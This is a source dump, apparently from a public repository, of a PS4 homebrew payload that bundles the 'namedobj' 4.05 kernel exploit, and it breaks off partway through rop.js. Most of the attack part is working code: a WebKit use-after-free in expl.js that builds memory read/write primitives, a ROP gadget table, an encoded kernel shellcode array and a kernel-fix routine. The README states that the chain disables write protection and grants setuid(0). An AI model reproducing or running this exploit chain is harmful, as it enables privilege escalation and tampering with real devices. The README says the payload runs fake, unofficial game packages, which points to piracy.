├── 405
├── Makefile
├── README.md
├── build.sh
├── clean.sh
├── exploit
│ ├── README.md
│ ├── expl.js
│ ├── fix.c
│ ├── fix.js
│ ├── gadgets.js
│ ├── index.html
│ ├── payload.js
│ ├── rop.js
│ └── syscalls.js
├── include
│ ├── cfg.h
│ ├── debug.h
│ ├── defines.h
│ ├── elf64.h
│ ├── elf_common.h
│ ├── link.h
│ ├── main.h
│ ├── pkg.h
│ └── utils.h
├── move.sh
├── ps4-pkg2usb.cfg
├── send.sh
├── source
│ ├── cfg.c
│ ├── debug.c
│ ├── link.c
│ ├── main.c
│ ├── pkg.c
│ └── utils.c
└── tool
│ ├── Makefile
│ └── bin2js.c
├── .gitignore
├── LICENSE
├── Makefile
├── README.md
├── build.sh
├── clean.sh
├── exploit
├── README.md
├── expl.js
├── fix.c
├── fix.js
├── gadgets.js
├── index.html
├── payload.js
├── rop.js
└── syscalls.js
├── include
├── cfg.h
├── debug.h
├── defines.h
├── elf64.h
├── elf_common.h
├── link.h
├── main.h
├── pkg.h
└── utils.h
├── move.sh
├── ps4-pkg2usb.cfg
├── send.sh
├── source
├── cfg.c
├── debug.c
├── link.c
├── main.c
├── pkg.c
└── utils.c
└── tool
├── Makefile
└── bin2js.c
/.gitignore:
--------------------------------------------------------------------------------
1 | # Prerequisites
2 | *.d
3 |
4 | # Object files
5 | *.o
6 | *.ko
7 | *.obj
8 | *.elf
9 |
10 | # Linker output
11 | *.ilk
12 | *.map
13 | *.exp
14 |
15 | # Precompiled Headers
16 | *.gch
17 | *.pch
18 |
19 | # Libraries
20 | *.lib
21 | *.a
22 | *.la
23 | *.lo
24 |
25 | # Shared objects (inc. Windows DLLs)
26 | *.dll
27 | *.so
28 | *.so.*
29 | *.dylib
30 |
31 | # Executables
32 | *.exe
33 | *.out
34 | *.app
35 | *.i*86
36 | *.x86_64
37 | *.hex
38 |
39 | # Debug files
40 | *.dSYM/
41 | *.su
42 | *.idb
43 | *.pdb
44 |
45 | # Kernel Module Compile Results
46 | *.mod*
47 | *.cmd
48 | .tmp_versions/
49 | modules.order
50 | Module.symvers
51 | Mkfile.old
52 | dkms.conf
53 |
--------------------------------------------------------------------------------
/405/Makefile:
--------------------------------------------------------------------------------
1 | LIBPS4 := $(PS4SDK)/libPS4
2 |
3 | TEXT := 0x926200000
4 | DATA := 0x926300000
5 |
6 | CC := gcc
7 | AS := gcc
8 | OBJCOPY := objcopy
9 | ODIR := build
10 | SDIR := source
11 | IDIRS := -I$(LIBPS4)/include -I. -Iinclude
12 | LDIRS := -L$(LIBPS4) -L. -Llib
13 | CFLAGS := $(IDIRS) -O3 -std=gnu11 -fno-builtin -nostartfiles -nostdlib -Wall -masm=intel -march=btver2 -mtune=btver2 -m64 -mabi=sysv -mcmodel=large
14 | SFLAGS := -nostartfiles -nostdlib -masm=intel -march=btver2 -mtune=btver2 -m64 -mabi=sysv -mcmodel=large
15 | LFLAGS := $(LDIRS) -Xlinker -T $(LIBPS4)/linker.x -Wl,--build-id=none -Ttext=$(TEXT) -Tdata=$(DATA)
16 | CFILES := $(wildcard $(SDIR)/*.c)
17 | SFILES := $(wildcard $(SDIR)/*.s)
18 | OBJS := $(patsubst $(SDIR)/%.c, $(ODIR)/%.o, $(CFILES)) $(patsubst $(SDIR)/%.s, $(ODIR)/%.o, $(SFILES))
19 |
20 | LIBS := -lPS4
21 |
22 | TARGET = $(shell basename $(CURDIR)).bin
23 |
24 | $(TARGET): $(ODIR) $(OBJS)
25 | $(CC) $(LIBPS4)/crt0.s $(ODIR)/*.o -o temp.t $(CFLAGS) $(LFLAGS) $(LIBS)
26 | $(OBJCOPY) -R .sc_rop temp.t temp.u
27 | $(OBJCOPY) -O binary temp.u $(TARGET)
28 | rm -f temp.t temp.u
29 |
30 | $(ODIR)/%.o: $(SDIR)/%.c
31 | $(CC) -c -o $@ $< $(CFLAGS)
32 |
33 | $(ODIR)/%.o: $(SDIR)/%.s
34 | $(AS) -c -o $@ $< $(SFLAGS)
35 |
36 | $(ODIR):
37 | @mkdir $@
38 |
39 | .PHONY: clean
40 |
41 | clean:
42 | rm -f $(TARGET) $(ODIR)/*.o
43 |
--------------------------------------------------------------------------------
/405/README.md:
--------------------------------------------------------------------------------
1 | # PS4 PKG2USB – Dump and run Fake PKGs on USB – 4.05/4.55 Payload by SiSTRo
2 |
3 | This is a PS4 payload (based on Vortex’s dumper) to dump and run fake PKGs on USB.
4 |
5 |
6 |
7 | - USB drive must be formatted to exFAT
8 |
9 | - works only with fpkg (not official pkg)
10 |
11 | - game/app have to be before installed as usually on internal storage
12 |
13 | - copy ps4-pkg2usb.cfg to usb root
14 |
15 | - edit config title_id with game/app title_id
16 |
17 | - always use the same USB port that when you installed game
18 |
19 | - to reinstall game to internal hdd, remove and reinstall as usual
20 |
21 |
22 |
23 | tip: if you still have the pkg and you want to avoid wasting time waiting for the file to be copied from the payload on the USB HDD,
24 | copy the pkg to X:\PS4\CUSAxxxxx\app.pkg
--------------------------------------------------------------------------------
/405/build.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | set -e
4 |
5 | pushd tool
6 | make
7 | popd
8 |
9 | make
10 |
11 | tool/bin2js ps4-pkg2usb.bin > exploit/payload.js
12 |
--------------------------------------------------------------------------------
/405/clean.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | pushd tool
4 | make clean
5 | popd
6 |
7 | make clean
8 |
9 | rm -f *.bin
10 |
--------------------------------------------------------------------------------
/405/exploit/README.md:
--------------------------------------------------------------------------------
1 | # PS4 4.05 Kernel Exploit
2 | ---
3 | ## Summary
4 | In this project you will find a full implementation of the "namedobj" kernel exploit for the PlayStation 4 on 4.05. It will allow you to run arbitrary code as kernel, to allow jailbreaking and kernel-level modifications to the system. This release contain game Dumper for PS4 payload code by Vortex
5 |
6 | You can find fail0verflow's original write-up on the bug [here](https://fail0verflow.com/blog/2017/ps4-namedobj-exploit/), you can find my technical write-up which dives more into implementation specifics [here](https://github.com/Cryptogenic/Exploit-Writeups/blob/master/PS4/%22NamedObj%22%204.05%20Kernel%20Exploit%20Writeup.md).
7 |
8 | ## Patches Included
9 | The following patches are made by default in the kernel ROP chain:
10 | 1) Disable kernel write protection
11 | 2) Allow RWX (read-write-execute) memory mapping
12 | 3) Dynamic Resolving (`sys_dynlib_dlsym`) allowed from any process
13 | 4) Custom system call #11 (`kexec()`) to execute arbitrary code in kernel mode
14 | 5) Allow unprivileged users to call `setuid(0)` successfully. Works as a status check, doubles as a privilege escalation.
15 | 6) Game dumper for PS4 payload code by Vortex
16 |
17 | ## Notes
18 | - This exploit is actually incredibly stable at around 95% in my tests. WebKit very rarely crashes and the same is true with kernel.
19 | - I've built in a patch so the kernel exploit will only run once on the system. You can still make additional patches via payloads.
20 | - A custom syscall is added (#11) to execute any RWX memory in kernel mode, this can be used to execute payloads that want to do fun things like jailbreaking and patching the kernel.
21 | - An SDK is not provided in this release, however a barebones one to get started with may be released at a later date.
22 |
23 | ## Contributors
24 | I was not alone in this exploit's development, and would like to thank those who helped me along the way below.
25 |
26 | - [qwertyoruiopz](https://twitter.com/qwertyoruiopz)
27 | - [Flatz](https://twitter.com/flat_z)
28 | - [CTurt](https://twitter.com/CTurtE)
29 | - [IDC](https://twitter.com/3226_2143)
30 | - Anonymous
31 |
--------------------------------------------------------------------------------
/405/exploit/expl.js:
--------------------------------------------------------------------------------
1 | /* Set up variables that will be used later on */
2 | var _dview;
3 |
4 | /*
5 | Zero out a buffer
6 | */
7 | function zeroFill( number, width )
8 | {
9 | width -= number.toString().length;
10 | if ( width > 0 )
11 | {
12 | return new Array( width + (/\./.test( number ) ? 2 : 1) ).join( '0' ) + number;
13 | }
14 | return number + ""; // always return a string
15 | }
16 |
17 | /*
18 | Int64 library for address operations
19 | */
20 | function int64(low,hi) {
21 | this.low = (low>>>0);
22 | this.hi = (hi>>>0);
23 | this.add32inplace = function(val) {
24 | var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0;
25 | var new_hi = (this.hi >>> 0);
26 | if (new_lo < this.low) {
27 | new_hi++;
28 | }
29 | this.hi=new_hi;
30 | this.low=new_lo;
31 | }
32 | this.add32 = function(val) {
33 | var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0;
34 | var new_hi = (this.hi >>> 0);
35 | if (new_lo < this.low) {
36 | new_hi++;
37 | }
38 | return new int64(new_lo, new_hi);
39 | }
40 | this.sub32 = function(val) {
41 | var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0;
42 | var new_hi = (this.hi >>> 0);
43 | if (new_lo > (this.low) & 0xFFFFFFFF) {
44 | new_hi--;
45 | }
46 | return new int64(new_lo, new_hi);
47 | }
48 | this.sub32inplace = function(val) {
49 | var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0;
50 | var new_hi = (this.hi >>> 0);
51 | if (new_lo > (this.low) & 0xFFFFFFFF) {
52 | new_hi--;
53 | }
54 | this.hi=new_hi;
55 | this.low=new_lo;
56 | }
57 | this.and32 = function(val) {
58 | var new_lo = this.low & val;
59 | var new_hi = this.hi;
60 | return new int64(new_lo, new_hi);
61 | }
62 | this.and64 = function(vallo, valhi) {
63 | var new_lo = this.low & vallo;
64 | var new_hi = this.hi & valhi;
65 | return new int64(new_lo, new_hi);
66 | }
67 | this.toString = function(val) {
68 | val = 16; // eh
69 | var lo_str = (this.low >>> 0).toString(val);
70 | var hi_str = (this.hi >>> 0).toString(val);
71 | if(this.hi == 0) return lo_str;
72 | else {
73 | lo_str = zeroFill(lo_str, 8)
74 | }
75 | return hi_str+lo_str;
76 | }
77 | this.toPacked = function() {
78 | return {hi: this.hi, low: this.low};
79 | }
80 | this.setPacked = function(pck) {
81 | this.hi=pck.hi;
82 | this.low=pck.low;
83 | return this;
84 | }
85 |
86 | return this;
87 | }
88 |
89 | var memPressure = new Array(400); // For forcing GC via memory pressure
90 | var stackFrame = []; // Our fake stack in memory
91 | var frameIndex = 0; // Set index in fake stack to 0 (0xFF00)
92 | var stackPeek = 0;
93 |
94 | /* Force garbage collection via memory pressure */
95 | var doGarbageCollection = function()
96 | {
97 | /* Apply memory pressure */
98 | for (var i = 0; i < memPressure.length; i++)
99 | {
100 | memPressure[i] = new Uint32Array(0x10000);
101 | }
102 |
103 | /* Zero out the buffer */
104 | for (var i = 0; i < memPressure.length; i++)
105 | {
106 | memPressure[i] = 0;
107 | }
108 | }
109 |
110 | /* For peeking the stack (reading) */
111 | function peek_stack()
112 | {
113 | var mem;
114 | var retno;
115 | var oldRetno;
116 |
117 | /* Set arguments.length to return 0xFFFF on first call, and 1 on subsequent calls */
118 | retno = 0xFFFF;
119 |
120 | arguments.length =
121 | {
122 | valueOf: function()
123 | {
124 | oldRetno = retno;
125 | retno = 1;
126 | return oldRetno;
127 | }
128 | }
129 |
130 | /*
131 | What this essentially does is when function.prototype.apply() is called, it will
132 | check arguments length. Where it should return 1 (the actual size), it actually
133 | returns 0xFFFF due to the function above. This allows an out-of-bounds read
134 | on the stack, and allows us to control uninitialized memory regions
135 | */
136 | var args = arguments;
137 |
138 | (function() {
139 | (function() {
140 | (function() {
141 | mem = arguments[0xFF00];
142 | }).apply(undefined, args);
143 | }).apply(undefined, stackFrame);
144 | }).apply(undefined, stackFrame);
145 |
146 | stackPeek = mem;
147 |
148 | return mem;
149 | }
150 |
151 | /* For poking the stack (writing) */
152 | function poke_stack(val)
153 | {
154 | /* Set stack frame value @ frameIndex */
155 | stackFrame[frameIndex] = val;
156 |
157 | /* Apply to uninitialized memory region on the stack */
158 | (function() {
159 | (function() {
160 | (function() {
161 | }).apply(null, stackFrame);
162 | }).apply(null, stackFrame);
163 | }).apply(null, stackFrame);
164 |
165 | /* Clear value in stack frame @ frameIndex as it's been applied already */
166 | stackFrame[frameIndex] = "";
167 | }
168 |
169 | /* Run exploit PoC */
170 | function run() {
171 | try
172 | {
173 | /*
174 | Set each integer in the stackframe to it's index, this way we can peek
175 | the stack to align it
176 | */
177 | for(var i = 0; i < 0xFFFF; i++)
178 | {
179 | stackFrame[i] = i;
180 | }
181 |
182 | /*
183 | Attempt to poke and peek the stack. If the peek returns null, it means
184 | the out-of-bounds read failed, throw an exception and catch it.
185 | */
186 | frameIndex = 0;
187 | poke_stack(0);
188 |
189 | if (peek_stack() == undefined) {
190 | throw "System is not vulnerable!";
191 | }
192 |
193 | /* Setup our stack frame so our target object reference resides inside of it */
194 | frameIndex = 0;
195 | poke_stack(0);
196 |
197 | peek_stack();
198 | frameIndex = stackPeek;
199 |
200 | /* Align the stack frame */
201 | poke_stack(0x4141);
202 |
203 | for (var align = 0; align < 8; align++)
204 | (function(){})();
205 |
206 | /* Test if we aligned our stack frame properly, if not throw exception and catch */
207 | peek_stack();
208 |
209 | if (stackPeek != 0x4141)
210 | {
211 | throw "Couldn't align stack frame to stack!";
212 | }
213 |
214 | /* Setup spray to overwrite the length header in UAF'd object's butterfly */
215 | var butterflySpray = new Array(0x1000);
216 |
217 | for (var i = 0; i < 0x1000; i++)
218 | {
219 | butterflySpray[i] = [];
220 |
221 | for (var k = 0; k < 0x40; k++)
222 | {
223 | butterflySpray[i][k] = 0x42424242;
224 | }
225 |
226 | butterflySpray[i].unshift(butterflySpray[i].shift());
227 | }
228 |
229 | /* Spray marked space */
230 | var sprayOne = new Array(0x100);
231 |
232 | for (var i = 0; i < 0x100; i++)
233 | {
234 | sprayOne[i] = [1];
235 |
236 | if (!(i & 3))
237 | {
238 | for (var k = 0; k < 0x8; k++)
239 | {
240 | sprayOne[i][k] = 0x43434343;
241 | }
242 | }
243 |
244 | sprayOne[i].unshift(sprayOne[i].shift());
245 | }
246 |
247 | var sprayTwo = new Array(0x400);
248 |
249 | for (var i = 0; i < 0x400; i++)
250 | {
251 | sprayTwo[i] = [2];
252 |
253 | if (!(i & 3))
254 | {
255 | for (var k = 0; k < 0x80; k++)
256 | {
257 | sprayTwo[i][k] = 0x43434343;
258 | }
259 | }
260 |
261 | sprayTwo[i].unshift(sprayTwo[i].shift());
262 | }
263 |
264 | /* Setup target object for UAF, spray */
265 | var uafTarget = [];
266 |
267 | for (var i = 0; i < 0x80; i++) {
268 | uafTarget[i] = 0x42420000;
269 | }
270 |
271 | /* Store target on the stack to maintain a reference after forced garbage collection */
272 | poke_stack(uafTarget);
273 |
274 | /* Remove references so they're free'd when garbage collection occurs */
275 | uafTarget = 0;
276 | sprayOne = 0;
277 | sprayTwo = 0;
278 |
279 | /* Force garbage collection */
280 | for (var k = 0; k < 4; k++)
281 | doGarbageCollection();
282 |
283 | /* Re-collect our maintained reference from the stack */
284 | peek_stack();
285 | uafTarget = stackPeek;
286 |
287 | stackPeek = 0;
288 |
289 | /*
290 | We now have access to uninitialized memory, force a heap overflow by
291 | overwriting the "length" field of our UAF'd object's butterfly via spraying
292 | */
293 | for (var i = 0; i < 0x1000; i++)
294 | {
295 | for (var k = 0x0; k < 0x80; k++)
296 | {
297 | butterflySpray[i][k] = 0x7FFFFFFF;
298 |
299 | /*
300 | Find our UAF'd object via modified length, which should be the maximum
301 | value for a 32-bit integer. If it is, we've successfully primitive our
302 | butterfly's length header!
303 | */
304 | if (uafTarget.length == 0x7FFFFFFF)
305 | {
306 | /* Store index of butterfly for UAF'd object for primitiveSpray */
307 | var butterflyIndex = i;
308 |
309 | /* Remove all references except what we need to free memory */
310 | for (var i = 0; i < butterflyIndex; i++)
311 | butterflySpray[i] = 0;
312 |
313 | for (var i = butterflyIndex + 1; i < 0x1000; i++)
314 | butterflySpray[i] = 0;
315 |
316 | doGarbageCollection();
317 |
318 | /* Spray to obtain a read/write primitive */
319 | var primitiveSpray = new Array(0x20000);
320 | var potentialPrim = new ArrayBuffer(0x1000);
321 |
322 | for (var i = 0; i < 0x20000; i++)
323 | {
324 | primitiveSpray[i] = i;
325 | }
326 |
327 | var overlap = new Array(0x80);
328 |
329 | /* Setup potential uint32array slaves for our read/write primitive */
330 | for (var i = 0; i < 0x20000; i++)
331 | {
332 | primitiveSpray[i] = new Uint32Array(potentialPrim);
333 | }
334 |
335 | /* Find a slave uint32array from earlier spray */
336 | var currentQword = 0x10000;
337 | var found = false;
338 | var smashedButterfly = new int64(0,0);
339 | var origData = new int64(0, 0);
340 | var locateHelper = new int64(0, 0);
341 |
342 | while (!found)
343 | {
344 | /*
345 | Change qword value for uint32array size to 0x1337 in UAF'd object
346 | to defeat U-ASLR
347 | */
348 | var savedVal = uafTarget[currentQword];
349 | uafTarget[currentQword] = 0x1337;
350 |
351 | /* Check sprayed uint32array slaves for modified size */
352 | for (var i = 0; i < 0x20000; i++)
353 | {
354 | if (primitiveSpray[i] && primitiveSpray[i].byteLength != 0x1000)
355 | {
356 | /*
357 | Found our primitive! Restore uint32array size as 0x1000 is
358 | sufficient.
359 | */
360 | uafTarget[currentQword] = savedVal;
361 |
362 | var primitive = primitiveSpray[i];
363 | var overlap = [1337];
364 |
365 | uafTarget[currentQword - 5] = overlap;
366 |
367 | smashedButterfly.low = primitive[2];
368 | smashedButterfly.hi = primitive[3];
369 | smashedButterfly.keep_gc = overlap;
370 |
371 | /* Find previous ArrayBufferView */
372 | uafTarget[currentQword - 5] = uafTarget[currentQword - 2];
373 |
374 | butterflySpray[butterflyIndex][k] = 0;
375 |
376 | origData.low = primitive[4];
377 | origData.hi = primitive[5];
378 |
379 | primitive[4] = primitive[12];
380 | primitive[5] = primitive[13];
381 | primitive[14] = 0x40;
382 |
383 | /* Find our uint32array slave for writing values */
384 | var slave = undefined;
385 |
386 | for (var k = 0; k < 0x20000; k++)
387 | {
388 | if (primitiveSpray[k].length == 0x40)
389 | {
390 | slave = primitiveSpray[k];
391 | break;
392 | }
393 | }
394 |
395 | if(!slave)
396 | throw "Could not find slave for write primitive!";
397 |
398 | /* Set primitive address to that of the smashed butterfly's */
399 | primitive[4] = smashedButterfly.low;
400 | primitive[5] = smashedButterfly.hi;
401 |
402 | /* Setup primitive and slave for primitive functions */
403 | overlap[0] = uafTarget;
404 |
405 | var targetEntry = new int64(slave[0], slave[1]);
406 |
407 | primitive[4] = targetEntry.low;
408 | primitive[5] = targetEntry.hi;
409 | slave[2] = 0;
410 | slave[3] = 0;
411 |
412 | /* Clear references for future collection from GC */
413 | uafTarget = 0;
414 | primitiveSpray = 0;
415 |
416 | /* Finally restore primitive address to it's original state */
417 | primitive[4] = origData.low;
418 | primitive[5] = origData.hi;
419 |
420 | /*
421 | Derive primitive functions
422 | */
423 |
424 | /* Purpose: Leak object addresses for ASLR defeat */
425 | var leakval = function(obj)
426 | {
427 | primitive[4] = smashedButterfly.low;
428 | primitive[5] = smashedButterfly.hi;
429 |
430 | overlap[0] = obj;
431 |
432 | var val = new int64(slave[0], slave[1]);
433 |
434 | slave[0] = 1337;
435 | slave[1] = 0xffff0000;
436 |
437 | primitive[4] = origData.low;
438 | primitive[5] = origData.hi;
439 |
440 | return val;
441 | }
442 |
443 | /* Purpose: Create a value (used for checking the primitive) */
444 | var createval = function(val)
445 | {
446 | primitive[4] = smashedButterfly.low;
447 | primitive[5] = smashedButterfly.hi;
448 |
449 | slave[0] = val.low;
450 | slave[1] = val.hi;
451 |
452 | var val = overlap[0];
453 |
454 | slave[0] = 1337;
455 | slave[1] = 0xffff0000;
456 |
457 | primitive[4] = origData.low;
458 | primitive[5] = origData.hi;
459 |
460 | return val;
461 | }
462 |
463 | /* Purpose: Read 32-bits (or 4 bytes) from address */
464 | var read32 = function(addr)
465 | {
466 | primitive[4] = addr.low;
467 | primitive[5] = addr.hi;
468 |
469 | var val = slave[0];
470 |
471 | primitive[4] = origData.low;
472 | primitive[5] = origData.hi;
473 |
474 | return val;
475 | }
476 |
477 | /* Purpose: Read 64-bits (or 8 bytes) from address */
478 | var read64 = function(addr)
479 | {
480 | primitive[4] = addr.low;
481 | primitive[5] = addr.hi;
482 |
483 | var val = new int64(slave[0], slave[1]);
484 |
485 | primitive[4] = origData.low;
486 | primitive[5] = origData.hi;
487 |
488 | return val;
489 | }
490 |
491 | /* Purpose: Write 32-bits (or 4 bytes) to address */
492 | var write32 = function(addr, val)
493 | {
494 | primitive[4] = addr.low;
495 | primitive[5] = addr.hi;
496 |
497 | slave[0] = val;
498 |
499 | primitive[4] = origData.low;
500 | primitive[5] = origData.hi;
501 | }
502 |
503 | /* Purpose: Write 64-bits (or 8 bytes) to address */
504 | var write64 = function(addr, val)
505 | {
506 | primitive[4] = addr.low;
507 | primitive[5] = addr.hi;
508 |
509 | if (val == undefined)
510 | {
511 | val = new int64(0,0);
512 | }
513 | if (!(val instanceof int64))
514 | {
515 | val = new int64(val,0);
516 | }
517 |
518 | slave[0] = val.low;
519 | slave[1] = val.hi;
520 |
521 | primitive[4] = origData.low;
522 | primitive[5] = origData.hi;
523 | }
524 |
525 | if (createval(leakval(0x1337)) != 0x1337) {
526 | throw "Primitive is broken, jsvalue leaked does not match jsvalue created!";
527 | }
528 |
529 | var testData = [1,2,3,4,5,6,7,8];
530 |
531 | var testAddr = leakval(testData);
532 |
533 | var butterflyAddr = read64(testAddr.add32(8));
534 |
535 | if ((butterflyAddr.low == 0 && butterflyAddr.hi == 0) || createval(read64(butterflyAddr)) != 1) {
536 | throw "Primitive is broken, either butterfly address is null or object is not a valid jsvalue!";
537 | }
538 |
539 | if (window.postexploit) {
540 | window.postexploit({
541 | read4: read32,
542 | read8: read64,
543 | write4: write32,
544 | write8: write64,
545 | leakval: leakval,
546 | createval: createval
547 | });
548 | }
549 | return 2;
550 | }
551 | }
552 | uafTarget[currentQword] = savedVal;
553 | currentQword ++;
554 | }
555 | }
556 | }
557 | }
558 | /*
559 | If we ended up here, the exploit failed to find our resized object/we were
560 | not able to modify the UaF'd target's length :(
561 | */
562 | return 1;
563 | }
564 | catch (e)
565 | {
566 | alert(e);
567 | }
568 | }
569 |
570 | //window.onload = function() { document.getElementById("clck").innerHTML = 'go'; };
571 | window.onload = function() { run(); };
--------------------------------------------------------------------------------
/405/exploit/fix.c:
--------------------------------------------------------------------------------
1 | #include
2 |
3 | #define KERN_XFAST_SYSCALL 0x30EB30
4 | #define KERN_MALLOC 0x1D1700
5 | #define KERN_FREE 0x1D18D0
6 | #define KERN_PRINTF 0x347580
7 |
8 | int main(void)
9 | {
10 | int i;
11 | void *addr;
12 | uint8_t *ptrKernel;
13 |
14 | int (*printf)(const char *fmt, ...) = NULL;
15 | void *(*malloc)(unsigned long size, void *type, int flags) = NULL;
16 | void (*free)(void *addr, void *type) = NULL;
17 |
18 | // Get kbase and resolve kernel symbols
19 | ptrKernel = (uint8_t *)(rdmsr(0xc0000082) - KERN_XFAST_SYSCALL);
20 | malloc = (void *)&ptrKernel[KERN_MALLOC];
21 | free = (void *)&ptrKernel[KERN_FREE];
22 | printf = (void *)&ptrKernel[KERN_PRINTF];
23 |
24 | uint8_t *objBase = (uint8_t *)(*(uint64_t *)(0xDEAD0000));
25 |
26 | // Fix stuff in object that's corrupted by exploit
27 | *(uint64_t *)(objBase + 0x0E0) = 0x7773706964;
28 | *(uint64_t *)(objBase + 0x0F0) = 0;
29 | *(uint64_t *)(objBase + 0x0F8) = 0;
30 |
31 | // Malloc so object doesn't get smashed
32 | for (i = 0; i < 512; i++)
33 | {
34 | addr = malloc(0x180, &ptrKernel[0x133F680], 0x02);
35 |
36 | printf("Alloc: 0x%lx\n", addr);
37 |
38 | if (addr == (void *)objBase)
39 | break;
40 |
41 | free(addr, &ptrKernel[0x133F680]);
42 | }
43 |
44 | printf("Object Dump 0x%lx\n", objBase);
45 |
46 | for (i = 0; i < 0x180; i += 8)
47 | printf(" Object + 0x%03x: 0x%lx\n", i, *(uint64_t *)(*(uint64_t *)(0xDEAD0000) + i));
48 |
49 | // EE :)
50 |
51 | return 0;
52 | }
53 |
--------------------------------------------------------------------------------
/405/exploit/fix.js:
--------------------------------------------------------------------------------
1 | var fix = [0x00000be9,0x90909000,0x90909090,0x90909090,0x0082b955,0x8948c000,0x415741e5,0x41554156,0x83485354,0x320f18ec,0x89d58949,0x64b948c0,0x77737069,0x49000000,0x4120e5c1,0x000200bc,0xc5094900,0xd0b58d4d,0x49ffcf14,0x8a509d8d,0x81490003,0x030b50c5,0x868d4901,0x001d18d0,0x00c68149,0x48001d17,0x48c04589,0xad0000a1,0x000000de,0x45894800,0x888948c8,0x000000e0,0xf080c748,0x00000000,0x48000000,0x00f880c7,0x00000000,0x1aeb0000,0x00841f0f,0x00000000,0x4cee894c,0x8b48ff89,0xd0ffc045,0x01ec8341,0x02ba2774,0x4c000000,0x80bfee89,0x41000001,0x8d48d6ff,0x00006f3d,0xc7894900,0x31c68948,0x4cd3ffc0,0x75c87d39,0xe43145c7,0xc8758b48,0x5f3d8d48,0x31000000,0x0fd3ffc0,0x0000441f,0x0000a148,0x0000dead,0x89440000,0x3d8d48e6,0x0000005c,0x20148b4a,0x08c48349,0xd3ffc031,0x80fc8149,0x75000001,0x3d8d48d7,0x00000060,0xd3ffc031,0x18c48348,0x415bc031,0x415d415c,0x5d5f415e,0x909090c3,0x6f6c6c41,0x30203a63,0x786c2578,0x624f000a,0x7463656a,0x6d754420,0x78302070,0x0a786c25,0x00000000,0x00000000,0x6265443c,0x203e6775,0x656a624f,0x2b207463,0x25783020,0x3a783330,0x25783020,0x000a786c,0x6265443c,0x203e6775,0x7473754a,0x726f4620,0x7468203a,0x3a737074,0x77772f2f,0x6f792e77,0x62757475,0x6f632e65,0x61772f6d,0x3f686374,0x4a563d76,0x6d6c5247,0x4c6c6133,0x00000a59];
2 |
--------------------------------------------------------------------------------
/405/exploit/gadgets.js:
--------------------------------------------------------------------------------
1 | /* For storing the gadget and import map */
2 | window.gadgetMap = [];
3 | window.basicImportMap = [];
4 |
5 | /* All function stubs / imports from other modules */
6 | var generateBasicImportMap = function()
7 | {
8 | window.basicImportMap =
9 | {
10 | '4.05':
11 | {
12 | 'setjmp': getGadget('libSceWebKit2', 0x270), // setjmp imported from libkernel
13 | '__stack_chk_fail_ptr': getGadget('libSceWebKit2', 0x2729260), // __stack_chk_fail imported from libkernel
14 | '__stack_chk_fail_offset': 0xD0D0, // offset of __stack_chk_fail from start of libkernel
15 | }
16 | };
17 | }
18 |
19 | /* All gadgets from the binary of available modules */
20 | var generateGadgetMap = function()
21 | {
22 | window.gadgetMap =
23 | {
24 | '4.05':
25 | {
26 | 'pop rsi': getGadget('libSceWebKit2', 0xA459E),
27 | 'pop rdi': getGadget('libSceWebKit2', 0x10F1C1),
28 | 'pop rax': getGadget('libSceWebKit2', 0x1D70B),
29 | 'pop rcx': getGadget('libSceWebKit2', 0x1FCA9B),
30 | 'pop rdx': getGadget('libSceWebKit2', 0xD6660),
31 | 'pop r8': getGadget('libSceWebKit2', 0x4A3B0D),
32 | 'pop r9': getGadget('libSceWebKit2', 0xEB5F8F),
33 | 'pop rsp': getGadget('libSceWebKit2', 0x20AEB0),
34 |
35 | 'push rax': getGadget('libSceWebKit2', 0x126EFC),
36 |
37 | 'add rax, rcx': getGadget('libSceWebKit2', 0x86F06),
38 |
39 | 'mov rax, rdi': getGadget('libSceWebKit2', 0x5863),
40 | 'mov qword ptr [rdi], rax': getGadget('libSceWebKit2', 0x11ADD7),
41 | 'mov qword ptr [rdi], rsi': getGadget('libSceWebKit2', 0x43CF70),
42 |
43 | 'mov rax, qword ptr [rax]': getGadget('libSceWebKit2', 0xFD88D),
44 |
45 | 'jmp addr': getGadget('libSceWebKit2', 0x852624),
46 |
47 | 'infloop': getGadget('libSceWebKit2', 0x45A11),
48 | 'jmp rax': getGadget('libSceWebKit2', 0x1CA2B9),
49 | 'push rax; jmp rcx': getGadget('libSceWebKit2', 0x469B80),
50 |
51 | 'ret': getGadget('libSceWebKit2', 0xC8),
52 | 'syscall': getGadget('libSceWebKit2', 0x1C69388),
53 | }
54 | };
55 | }
56 |
--------------------------------------------------------------------------------
/405/exploit/rop.js:
--------------------------------------------------------------------------------
1 | /* Leave these values untouched, they will be set properly post-exploitation */
2 | var moduleBaseAddresses =
3 | {
4 | 'libkernel': 0,
5 | 'libSceWebKit2': 0,
6 | 'libSceLibcInternal': 0
7 | };
8 |
9 | /* Simply adds given offset to given module's base address */
10 | function getGadget(moduleName, offset)
11 | {
12 | return moduleBaseAddresses[moduleName].add32(offset);
13 | }
14 |
15 | var memory = function(p, address)
16 | {
17 | this.basePtr = address
18 | this.dataPtr = 0;
19 |
20 | /* Return a pointer in mmap'd memory */
21 | this.allocate = function(size)
22 | {
23 | /* Prevent buffer overflow / pagefault */
24 | if(this.dataPtr > 0x10000 || this.dataPtr + size > 0x10000)
25 | {
26 | return -1;
27 | }
28 |
29 | var memAddr = this.basePtr.add32(this.dataPtr);
30 |
31 | this.dataPtr += size;
32 |
33 | return memAddr;
34 | };
35 |
36 | /* Clears all data by zeroing out this.data and resetting count */
37 | this.clear = function()
38 | {
39 | for(var i = 0; i < 0x10000; i += 8)
40 | {
41 | p.write8(this.basePtr.add32(i), 0);
42 | }
43 | };
44 |
45 | /* Zero out our data buffer before returning a storage object */
46 | this.clear();
47 |
48 | return this;
49 | };
50 |
51 | /* Called to start a kernel ROP chain */
52 | var krop = function(p, addr) {
53 | this.chainPtr = addr;
54 | this.count = 0;
55 |
56 | this.push = function(val)
57 | {
58 | p.write8(this.chainPtr.add32(this.count * 8), val);
59 | this.count++;
60 | };
61 |
62 | this.write64 = function (addr, val)
63 | {
64 | this.push(window.gadgets["pop rdi"]);
65 | this.push(addr);
66 | this.push(window.gadgets["pop rax"]);
67 | this.push(val);
68 | this.push(window.gadgets["mov qword ptr [rdi], rax"]);
69 | }
70 |
71 | return this;
72 | };
73 |
74 | /* Called to start a new ROP chain */
75 | var saferop = function(p, addr) {
